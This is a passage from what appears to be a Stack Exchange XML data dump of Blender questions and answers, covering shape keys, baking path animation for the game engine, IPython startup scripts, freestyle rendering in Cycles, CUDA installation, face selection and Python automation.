selection.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the shape key, set the vertex group value under &lt;em&gt;Blend&lt;/em&gt; to the new vertex group (note that this will only work if the &lt;em&gt;Relative key&lt;/em&gt; is the &lt;em&gt;Basis&lt;/em&gt;):&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QY5hE.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-06T02:05:13.987" LastActivityDate="2020-10-06T02:05:13.987" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="2943" PostTypeId="1" AcceptedAnswerId="2946" CreationDate="2013-09-16T20:38:27.480" Score="3" ViewCount="4454" Body="&lt;p&gt;I animated a rollercoaster using a &lt;em&gt;Bezier Curve&lt;/em&gt; and a &lt;em&gt;Follow Path Constraint&lt;/em&gt; affecting the vehicle. &#xA;Then I tried to use the automatically created action in the game engine but the &lt;em&gt;Action Actuator&lt;/em&gt; has no effect . &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How can this action be used in the BGE?&lt;/li&gt;&#xA;&lt;li&gt;Can the &lt;em&gt;Path Animation&lt;/em&gt; alternatively be converted into keyframes?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yXAZ0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="599" LastEditDate="2013-09-16T20:59:45.617" LastActivityDate="2016-01-13T15:14:16.677" Title="How can a path animation be used as an action in the game engine?" Tags="&lt;game-engine&gt;&lt;bezier-curves&gt;&lt;constraints&gt;&lt;conversion&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2944" PostTypeId="5" CreationDate="2013-09-16T20:56:03.400" Score="0" Body="&lt;p&gt;Shape keys are used to deform objects into new shapes for animation. In other terminology, shape keys may be called “morph targets” or “blend shapes”.&lt;/p&gt;&#xA;&lt;p&gt;The most popular use cases for shape keys are in character facial animation and in tweaking and refining a skeletal rig. They are particularly useful for modeling organic soft parts and muscles where there is a need for more control over the resulting shape than what can be achieved with combination of rotation and scale.&lt;/p&gt;&#xA;&lt;p&gt;Shape keys can be applied on object types with vertices like mesh, curve, surface and lattice.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;See more information at the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/animation/shape_keys/introduction.html?#introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15924" LastEditorUserId="15924" LastEditDate="2020-11-05T00:16:57.590" LastActivityDate="2020-11-05T00:16:57.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2945" PostTypeId="4" CreationDate="2013-09-16T20:56:03.400" Score="0" Body="Questions related to using and manipulating Shape Keys. Shape keys are used to deform objects by transforming the locations of control points over time. There are two kinds of shape keys, Relative and Absolute." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-16T22:07:14.943" LastActivityDate="2013-09-16T22:07:14.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2946" PostTypeId="2" ParentId="2943" CreationDate="2013-09-16T20:58:46.190" Score="5" Body="&lt;p&gt;You can convert actions such as constraints to keyframes with &lt;em&gt;Object &gt; Animation &gt; Bake action&lt;/em&gt;. (see &lt;a href=&quot;https://blender.stackexchange.com/questions/2533/is-there-a-way-to-convert-a-constraint-to-a-keyframe&quot;&gt;this&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RDXpR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to enable &lt;em&gt;Clear parents&lt;/em&gt; to replace parent/child with keyframes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Px1O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that without &lt;em&gt;Clear Constraints&lt;/em&gt; enabled, constraints will not be removed, possibly giving unexpected results.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2013-09-16T21:39:11.517" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2947" PostTypeId="5" CreationDate="2013-09-16T21:01:29.420" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-09-16T21:01:29.420" LastActivityDate="2013-09-16T21:01:29.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2948" PostTypeId="4" CreationDate="2013-09-16T21:01:29.420" Score="0" Body="Questions about converting different types of data to other types of data. Anything from file types to objects and values." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-16T22:07:07.037" LastActivityDate="2013-09-16T22:07:07.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2949" PostTypeId="1" CreationDate="2013-09-16T22:50:13.377" Score="3" ViewCount="310" Body="&lt;p&gt;I am using a start up script to run IPython from the terminal I started blender from. To do this, I have a script containing the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;#For importing from my local python environment&#xA;import sys&#xA;ps = ['','/usr/bin','/usr/lib/python3.3',&#xA;'/usr/lib/python3.3/plat-x86_64-linux-gnu','/usr/lib/python3.3/lib-dynload', '/usr/local/lib/python3.3/dist-packages',&#xA;'/usr/lib/python3/dist-packages', '/usr/lib/python3/dist-packages/IPython/extensions']&#xA;for p in ps:&#xA;    sys.path.append(p)&#xA;&#xA;import IPython&#xA;IPython.embed()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I attempt to run the script with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender2 --debug-all --python run_ipython.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The ipython interpreter is brought up, a window is created, but nothing except gray space or glitchy nonsense is found inside of the window. However, when I ctrl-D out of ipython, blender finishes loading as expected and runs as normal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following is what is printed to the terminal &lt;em&gt;after&lt;/em&gt; I close IPython. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.wm.splash()&#xA;WM_operator_last_properties_store: storing properties for 'WM_OT_splash'&#xA;ghost_event_proc: window 1 state = normal&#xA;wm_window_make_drawable: set drawable 1&#xA;ghost_event_proc: ghost redraw 1&#xA;ghost_event_proc: ghost redraw 1&#xA;recalcob Cube&#xA;recalcdata Cube&#xA;ED_screen_refresh: set screen&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can only assume that it is the debug log from whatever actions are loading the rest of blender. Here's the question: How can I reproduce what is happening in the above lines so that I can fully load blender with ipython in the terminal?&lt;/p&gt;&#xA;" OwnerUserId="1276" LastActivityDate="2013-09-16T23:11:36.480" Title="Blender does not fully load when running python script at boot" Tags="&lt;python&gt;&lt;command-line&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2013-09-17T17:30:24.430" ContentLicense="CC BY-SA 3.0" />
  <row Id="2951" PostTypeId="5" CreationDate="2013-09-16T23:11:29.230" Score="0" Body="&lt;p&gt;Drivers are a way to control values of properties by means of a function, or a mathematical expression.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Effectively, drivers consist of:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A driver configuration that specifies zero, one, or more input values using other properties or object transformation channels, and combines them using a predefined mathematical function or a custom Python expression.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;An animation F-Curve that maps the output of the driver configuration to the final value to apply to the driven property.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;em&gt;Driver&lt;/em&gt; documentation on the &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/animation/drivers/introduction.html#introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-27T08:16:43.700" LastActivityDate="2020-10-27T08:16:43.700" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2952" PostTypeId="4" CreationDate="2013-09-16T23:11:29.230" Score="0" Body="Questions related to drivers. Drivers are used to control one property with another. Drivers can also use Python expressions to give even more possibilities, e.g. *#frame/2* will give the current frame divided by two. This tag is not to be used for questions relating to hardware drivers." OwnerUserId="599" LastEditorUserId="241" LastEditDate="2020-06-05T14:18:07.307" LastActivityDate="2020-06-05T14:18:07.307" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2953" PostTypeId="1" AcceptedAnswerId="2954" CreationDate="2013-09-16T23:44:14.510" Score="5" ViewCount="4653" Body="&lt;p&gt;I've been using BI to render objects as meshes using freestyle edges. I'm now trying to learn to use Cycles. Is it possible to render freestyle edges in Cycles? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-08-12T02:24:50.440" Title="Rendering freestyle lines in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;freestyle&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2954" PostTypeId="2" ParentId="2953" CreationDate="2013-09-17T00:17:56.797" Score="6" Body="&lt;p&gt;No, freestyle is not yet supported in Cycles (and I'm not sure it ever will be directly supported). You could work around the issue by using render layers and grabbing only the freestyle pass from BI:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZGR7G.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then mixing it with the Cycles pass in the compositor.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-09-17T00:17:56.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2955" PostTypeId="1" AcceptedAnswerId="2959" CreationDate="2013-09-17T00:23:23.117" Score="3" ViewCount="703" Body="&lt;p&gt;I just did the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;I created one material and one texture. I applied this texture to 5 slots and, which is nice, can assign different settings to each instance of the texture (influence, mapping etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;Does that mean texture slots are a data block? It can't be in either the texture or the material, since I only have one of each. How is that organized internally?&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-09-17T01:12:51.540" LastActivityDate="2013-09-17T06:03:23.773" Title="Where are influence and mapping settings of a texture saved?" Tags="&lt;materials&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2956" PostTypeId="1" CreationDate="2013-09-17T01:46:48.217" Score="5" ViewCount="8310" Body="&lt;p&gt;The problematic edges are small, convex, sharp protrusions on a larger concave, smooth surface.  Edge split, smooth, and subdivision modifiers do not achieve the smooth surface I'm looking for.  Is there a way to force edges with larger than, say 290 degrees to become less obtuse?  Note that I describe the edge this way because that is the side of the surface I'll be viewing (not side of the surface with the equivalent acute angle).  Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eEkvl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mostly horizontal lines are where thin, jagged protrude out of the otherwise smooth surface.  Close-up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lETkN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;em&gt;Smooth&lt;/em&gt; brush in sculpt mode with dynamic topology and &lt;em&gt;Collapse short edge&lt;/em&gt; enabled gives (applied on various scales for demonstration):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tzOo8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is close but is there a way to now make the 'crumpled'-looking surface become more like the other smooth surface?&lt;/p&gt;&#xA;" OwnerUserId="1298" LastEditorUserId="1298" LastEditDate="2013-09-17T02:55:13.370" LastActivityDate="2013-09-17T19:12:23.223" Title="Remove sharp or jagged edges in mesh" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;&lt;sculpting&gt;" AnswerCount="1" CommentCount="9" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2957" PostTypeId="2" ParentId="2956" CreationDate="2013-09-17T03:42:46.247" Score="5" Body="&lt;p&gt;This topology is so messed up (current &lt;em&gt;Sculpt Mode&lt;/em&gt; will do that), it might need a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Retopo&quot; rel=&quot;nofollow&quot;&gt;retopology&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either use a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Shrinkwrap&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Shrinkwrap Modifier&lt;/em&gt;&lt;/a&gt; to get a clean result with a new mesh and far less verts (after the rough adjustments, you can enable the modifier to be active during &lt;em&gt;Edit Mode&lt;/em&gt; which glues your verts to the surface) or use use the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aRef/Release_Notes/2.64/Bsurfaces_1.5&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Bsurfaces&lt;/em&gt;&lt;/a&gt; addon. With it, you can convert &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Sketching&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Grease Pencil&lt;/em&gt;&lt;/a&gt; strokes into topology. You need to set the grease pencil to &lt;em&gt;Surface&lt;/em&gt; or otherwise the strokes won't connect to the underlying mesh.&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-09-17T19:12:23.223" LastActivityDate="2013-09-17T19:12:23.223" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2958" PostTypeId="2" ParentId="2926" CreationDate="2013-09-17T05:00:23.880" Score="4" Body="&lt;p&gt;If you want to use CUDA for rendering with a downloaded Blender release, you do not need to install the CUDA toolkit. What you do need is (proprietary) NVidia drivers for your graphics card, any reasonably recent version will do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ubuntu and other linux distributions provide a way to do that, and you may already have them installed. If you don't you should for best Blender performance even when you don't use Cycles GPU rendering. If CUDA does not show up in User Preferences &gt; System &gt; Compute Device, you may need to install a newer NVidia graphics driver.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you want to make your own Blender builds with CUDA support, you need to install the CUDA toolkit. To do that, download the CUDA toolkit 5.0 from:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.nvidia.com/cuda-toolkit-50-archive&quot; rel=&quot;nofollow&quot;&gt;https://developer.nvidia.com/cuda-toolkit-50-archive&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And install with a command like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo sh cuda_5.0.35_linux_64_ubuntu11.10-1.run&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It may ask you about installing drivers, but it's usually best to skip that part and only install the toolkit in the default location. The drivers will interfere with drivers that you installed through the package manager. You do not need to set any environment variables or make links like that tutorial, it's really this one command.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-09-17T05:00:23.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2959" PostTypeId="2" ParentId="2955" CreationDate="2013-09-17T05:53:35.713" Score="3" Body="&lt;p&gt;You're right if you switch the Properties View to Datablocks you can examine the datastructure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You find the per slot settings (&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures&quot; rel=&quot;nofollow noreferrer&quot;&gt;Texture Layers&lt;/a&gt;) under /Materials/&lt;em&gt;MaterialName&lt;/em&gt;/Textures /&lt;em&gt;TextureName&lt;/em&gt;.&#xA;Each texture slot has its own settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AVUK4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How the different settings influence the resulting material is controled by the influence sliders of the checked properties and the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Influence/Material/Blending_Modes&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend Mode&lt;/a&gt; setting.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-09-17T06:03:23.773" LastActivityDate="2013-09-17T06:03:23.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2960" PostTypeId="1" AcceptedAnswerId="2961" CreationDate="2013-09-17T16:43:31.890" Score="5" ViewCount="926" Body="&lt;p&gt;I'm working with a relatively detailed model, which some some inner detail. At the moment I am not concerned with the inner faces, I would just like to select the outer faces so that I can apply a material to them. However, whenever I try using the Face selection options I often end up selecting an interior Face rather than the external Face I'm looking for.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L1xBf.png&quot; alt=&quot;&quot;&gt;&lt;br&gt;&#xA;  &lt;em&gt;Are those faces on top I've selected?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s2JHG.png&quot; alt=&quot;&quot;&gt;&lt;br&gt;&#xA;  &lt;em&gt;Nope.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can use the Face selection tools to target the closest faces that intersect the point I click, rather than whatever the default behaviour is which typically catches these internal faces?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying with both the current Blender 2.68 and the older 2.49b.&lt;/p&gt;&#xA;" OwnerUserId="282" LastEditorUserId="12" LastEditDate="2013-09-17T22:54:01.857" LastActivityDate="2013-09-17T22:54:01.857" Title="Selecting the nearest of overlapping faces" Tags="&lt;selection-tools&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2961" PostTypeId="2" ParentId="2960" CreationDate="2013-09-17T17:11:40.687" Score="4" Body="&lt;p&gt;Unless I'm missing something isn't this just because you are in wireframe view mode? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;Z&lt;/kbd&gt; to go into solid view then make sure &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Selecting&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Limit Selection to Visible&lt;/em&gt;&lt;/a&gt; is enabled in the 3D view header as shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jLMMw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now your model will appear solid and you will be able to select whichever face is directly visible to you in the view i.e. you won't be able to select faces that are behind other faces.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="599" LastEditDate="2013-09-17T17:53:08.223" LastActivityDate="2013-09-17T17:53:08.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2962" PostTypeId="2" ParentId="2941" CreationDate="2013-09-17T18:07:45.447" Score="31" Body="&lt;p&gt;Use &lt;strong&gt;Blend From Shape&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select all vertices whose positions you want to reset,&lt;/li&gt;&#xA;&lt;li&gt;Execute &lt;strong&gt;Blend From Shape&lt;/strong&gt;, accessible from &lt;kbd&gt;W&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;V&lt;/kbd&gt; or &lt;strong&gt;Mesh&lt;/strong&gt; &gt; &lt;strong&gt;Vertices&lt;/strong&gt; menu,&lt;/li&gt;&#xA;&lt;li&gt;Set &quot;&lt;em&gt;Basis&lt;/em&gt;&quot; as shape key to blend from (by default),&lt;/li&gt;&#xA;&lt;li&gt;Set blend factor to the maximum value 1.0 (by default),&lt;/li&gt;&#xA;&lt;li&gt;Uncheck &lt;em&gt;Add&lt;/em&gt;, so only values from &quot;&lt;em&gt;Basis&lt;/em&gt;&quot; will be blended in, effectively reverting all selected vertices' position.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-09-17T18:13:26.780" LastActivityDate="2013-09-17T18:13:26.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2963" PostTypeId="2" ParentId="2960" CreationDate="2013-09-17T19:49:39.297" Score="3" Body="&lt;p&gt;&amp;nbsp;&amp;nbsp;One additional thing you can do is to select the inner verts and hide them. &lt;kbd&gt;H&lt;/kbd&gt; hides selected verts, &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; hides unselected verts and &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; reveals all hidden verts. If inner and outer verts are connected, you can, if your topology allows it, use a &lt;em&gt;Loop Select&lt;/em&gt; &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt; and once the loop is hidden and the inner mesh is disconnected, select it with &lt;kbd&gt;L&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;You can also use &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; to hide part of everything, the &lt;em&gt;Mask Modifier&lt;/em&gt; or, if the inner mesh is completely separate, you can make it a separate mesh by selecting it in &lt;em&gt;Edit Mode&lt;/em&gt; and pressing &lt;kbd&gt;P&lt;/kbd&gt; and join them later in Object mode by selecting both and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;This can be an alternative to &lt;em&gt;Limit selection to visible&lt;/em&gt; because sometimes the outer surface isn't entirely convex and overlaps. Then this setting will cause you to miss verts. Sometimes you want to select the rear verts of the outside surface as well. And sometimes you want to see the wireframe of your model, where this option doesn't exist.&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-09-17T22:20:09.670" LastActivityDate="2013-09-17T22:20:09.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2964" PostTypeId="1" AcceptedAnswerId="2965" CreationDate="2013-09-17T19:52:51.557" Score="6" ViewCount="589" Body="&lt;p&gt;I have need to do some 3D fluid piping simulations, and I am seriously considering Blender. I believe Blender is the right tool for the job, but I would like to confirm this before I dive in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to skip the GUI tools as much as possible and instead use python to carry me initially (I want to avoid anything that needs the mouse). My goal is to set myself up for automation by building on Python right from the start. I am coming from AutoCAD, and I am hoping for a similar experience to AutoCAD command line with LISP (meaning, I don't have to touch the mouse if I don't want to).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is Blender the right tool for what I want?&lt;/li&gt;&#xA;&lt;li&gt;Should I consider alternatives like PyOgre (for a pure-python experience)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1263" LastEditorUserId="55" LastEditDate="2013-09-18T22:18:06.350" LastActivityDate="2013-09-18T22:18:06.350" Title="Interactive Python workflow for Blender beginner" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2965" PostTypeId="2" ParentId="2964" CreationDate="2013-09-17T20:27:53.140" Score="3" Body="&lt;p&gt;Yes, as long as Blender has the functionality you need, I would say automation in Python is one of Blenders strengths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles/Physics/Fluid&quot; rel=&quot;nofollow&quot;&gt;Blender's SPH fluid simulator&lt;/a&gt; was developed/improved by a company who made a product that did automated fluid simulation that ran on a supercomputer to test fluids behavior in through different pipes/containers for a commercial project.&#xA;But you can automate many other tasks too. see &lt;a href=&quot;http://www.blender.org/development/credits&quot; rel=&quot;nofollow&quot;&gt;AutoCRC&lt;/a&gt; (bottom of credits page link).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender can for example be compiled without a user interface, as a Python module (or just run release builds in background mode), and perform automated physics simulations, video editing, rendering, file format conversions, mesh processing - etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some caveats though:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Not &lt;em&gt;every&lt;/em&gt; area of Blender has been used in automation, if you try to automate something that nobody tried before, you mileage may vary&lt;br&gt;&lt;em&gt;(fluid simulation should go fine, but some areas rely on a user interface - game engine or sculpting for eg).&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Its best to first use the interface to setup tasks before automating.&lt;br&gt;&lt;em&gt;From your questions it sounds like you may want to avoid using Blender at all? I think its not wise to avoid using the UI at least for testing steps to be automated.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As a starting point for automation in Blender, I'd recommend see the &lt;strong&gt;Background Job&lt;/strong&gt; template. See:&lt;br&gt;&lt;code&gt;Text Editor -&amp;gt; Templates -&amp;gt; Background Job&lt;/code&gt;.&#xA;This means you can run Blender from the command line to execute the task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ideasman42/pyfbx_render&quot; rel=&quot;nofollow&quot;&gt;Another example&lt;/a&gt; (based on that template) that renders FBX files from the command line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pure-python solution depends totally on the python-modules available to use, I wasn't aware of PyOgre being able to do fluid simulation - and am not familiar with fluid simulation in Python in general, so its hard to answer this part of your question.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Note:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Your question asks &lt;em&gt;&quot;for a beginner&quot;&lt;/em&gt;, I wouldn't consider this a beginner project, and I don't think being a beginner makes any difference to the answer. This stuff you have to learn one way or another and if you are a beginner you may just take longer to figure it all out.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-09-18T08:49:14.100" LastActivityDate="2013-09-18T08:49:14.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2966" PostTypeId="1" AcceptedAnswerId="2974" CreationDate="2013-09-17T21:12:10.757" Score="8" ViewCount="1529" Body="&lt;p&gt;From the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_5/bpy.types.SceneObjects.html#bpy.types.SceneObjects.unlink&quot; rel=&quot;noreferrer&quot;&gt;Blender Python API&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;unlink(object)   Unlink object from scene&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Parameters: object (Object, (never None)) – &lt;strong&gt;Object to remove from&#xA;  scene&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does the object directly get removed from the scene or rather the ObjectBase which links to the Object and hence the Object gets removed too?&lt;/p&gt;&#xA;" OwnerUserId="1260" LastEditorUserId="185" LastEditDate="2013-09-18T04:24:32.627" LastActivityDate="2013-09-18T04:24:32.627" Title="What does scene.objects.unlink really do?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
